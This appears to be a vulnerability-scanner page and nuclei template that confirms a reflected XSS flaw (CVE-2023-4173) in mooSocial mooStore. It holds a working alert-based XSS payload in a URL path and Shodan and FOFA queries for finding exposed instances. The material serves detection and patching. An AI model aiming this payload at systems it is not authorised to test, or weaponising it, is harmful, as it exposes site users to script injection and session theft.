CVE-2023-4173· moosocial / moostore· CWE-79
mooSocial 3.1.8 - Reflected XSS
mediumseverity
6.1CVSS score
5.4%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it
A vulnerability, which was classified as problematic, was found in mooSocial mooStore 3.1.6. Affected is an unknown function of the file /search/index.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Apply the latest patch or upgrade to a newer version of mooSocial to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/classified/%22%3E%3Cimg%20src=a%20onerror=alert('document.domain')%3E/search?category=1
Positive when: contains "<img src=a onerror=alert('document.domain')>" and "mooSocial" AND contains in header "text/html" AND status 404Run it with nuclei: nuclei -id CVE-2023-4173 -u <target>
The full check
id: CVE-2023-4173
info:
name: mooSocial 3.1.8 - Reflected XSS
author: momika233
severity: medium
description: |
A vulnerability, which was classified as problematic, was found in mooSocial mooStore 3.1.6. Affected is an unknown function of the file /search/index.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest patch or upgrade to a newer version of mooSocial to mitigate this vulnerability.
reference:
- https://www.exploit-db.com/exploits/51670
- https://nvd.nist.gov/vuln/detail/CVE-2023-4173
- http://packetstormsecurity.com/files/174016/mooSocial-3.1.8-Cross-Site-Scripting.html
- https://vuldb.com/?ctiid.236208
- https://vuldb.com/?id.236208
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-4173
cwe-id: CWE-79
epss-score: 0.05449
epss-percentile: 0.92799
cpe: cpe:2.3:a:moosocial:moostore:3.1.6:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: moosocial
product: moostore
shodan-query: http.favicon.hash:"702863115"
fofa-query:
- mooSocial
- moosocial
- icon_hash="702863115"
tags: cve2023,cve,packetstorm,moosocial,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/classified/%22%3E%3Cimg%20src=a%20onerror=alert('document.domain')%3E/search?category=1"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<img src=a onerror=alert('document.domain')>"
- "mooSocial"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 404References
- https://www.exploit-db.com/exploits/51670
- https://nvd.nist.gov/vuln/detail/CVE-2023-4173
- http://packetstormsecurity.com/files/174016/mooSocial-3.1.8-Cross-Site-Scripting.html
- https://vuldb.com/?ctiid.236208
- https://vuldb.com/?id.236208
Use this check only on systems you are authorised to test. Where the data comes from